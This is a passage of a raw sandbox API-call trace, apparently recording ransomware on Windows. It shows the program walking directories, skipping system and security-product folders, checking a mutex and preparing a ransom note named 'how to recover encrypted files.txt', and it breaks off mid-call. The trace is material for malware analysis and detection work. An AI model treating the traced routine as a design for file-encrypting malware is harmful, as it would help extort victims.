0x3b [0056.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0056.380] GetLastError () returned 0x2 [0056.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@儔R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.381] GetLastError () returned 0x2 [0056.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18\x97")) returned 0xffffffff [0056.381] GetLastError () returned 0x2 [0056.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.381] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.381] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.381] GlobalUnlock (hMem=0x44000c) returned 0 [0056.381] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.381] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.381] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.382] GlobalUnlock (hMem=0x44000c) returned 0 [0056.382] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.382] GlobalUnlock (hMem=0x440004) returned 0 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.382] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.382] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.382] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.382] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.382] GlobalLock (hMem=0x440004) returned 0x550170 [0056.382] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.382] GlobalUnlock (hMem=0x440004) returned 0 [0056.382] GlobalLock (hMem=0x440004) returned 0x550170 [0056.382] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.382] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.382] GlobalUnlock (hMem=0x440004) returned 0 [0056.382] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.382] GlobalUnlock (hMem=0x44000c) returned 0 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0056.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.383] GlobalUnlock (hMem=0x44000c) returned 0 [0056.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.383] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.383] GlobalUnlock (hMem=0x44000c) returned 0 [0056.383] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.383] GlobalUnlock (hMem=0x440004) returned 0 [0056.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.384] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.384] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.384] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0056.384] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.384] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.384] GlobalLock (hMem=0x440004) returned 0x550170 [0056.384] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.384] GlobalUnlock (hMem=0x440004) returned 0 [0056.384] GlobalLock (hMem=0x440004) returned 0x550170 [0056.384] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.384] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.384] GlobalUnlock (hMem=0x440004) returned 0 [0056.384] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.384] GlobalUnlock (hMem=0x44000c) returned 0 [0056.384] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.384] CharLowerBuffW (in: lpsz="MSOSV.DLL", cchLength=0x9 | out: lpsz="msosv.dll") returned 0x9 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.385] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Web Folders\\MSOSV.DLLn", lpUsedDefaultChar=0x0) returned 4 [0056.385] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.385] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.385] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.385] GlobalUnlock (hMem=0x44000c) returned 0 [0056.385] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.385] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.385] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.385] GlobalUnlock (hMem=0x44000c) returned 0 [0056.385] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.385] GlobalUnlock (hMem=0x440004) returned 0 [0056.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d28, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\眵?\x18") returned 3 [0056.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.385] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.385] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.385] GlobalLock (hMem=0x440004) returned 0x550170 [0056.385] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.386] GlobalUnlock (hMem=0x440004) returned 0 [0056.386] GlobalLock (hMem=0x440004) returned 0x550170 [0056.386] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.386] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.386] GlobalUnlock (hMem=0x440004) returned 0 [0056.386] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.386] GlobalUnlock (hMem=0x44000c) returned 0 [0056.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.386] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.386] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.386] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.386] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.386] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.386] GlobalUnlock (hMem=0x44000c) returned 0 [0056.386] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.386] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.386] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.386] GlobalUnlock (hMem=0x44000c) returned 0 [0056.386] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.386] GlobalUnlock (hMem=0x440004) returned 0 [0056.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.386] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.386] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.386] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.386] GlobalLock (hMem=0x440004) returned 0x550170 [0056.386] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.386] GlobalUnlock (hMem=0x440004) returned 0 [0056.387] GlobalLock (hMem=0x440004) returned 0x550170 [0056.387] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.387] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.387] GlobalUnlock (hMem=0x440004) returned 0 [0056.387] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.387] GlobalUnlock (hMem=0x44000c) returned 0 [0056.387] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.387] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.387] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.387] GlobalUnlock (hMem=0x44000c) returned 0 [0056.387] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.387] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.387] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.387] GlobalUnlock (hMem=0x44000c) returned 0 [0056.387] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.387] GlobalUnlock (hMem=0x440004) returned 0 [0056.387] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.387] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033") returned 1 [0056.387] GlobalLock (hMem=0x440004) returned 0x550170 [0056.387] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.387] GlobalUnlock (hMem=0x440004) returned 0 [0056.387] GlobalLock (hMem=0x440004) returned 0x550170 [0056.387] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.387] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.387] GlobalUnlock (hMem=0x440004) returned 0 [0056.387] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.388] GlobalUnlock (hMem=0x44000c) returned 0 [0056.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0056.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@廈R府R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0056.388] GetLastError () returned 0x3 [0056.388] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, 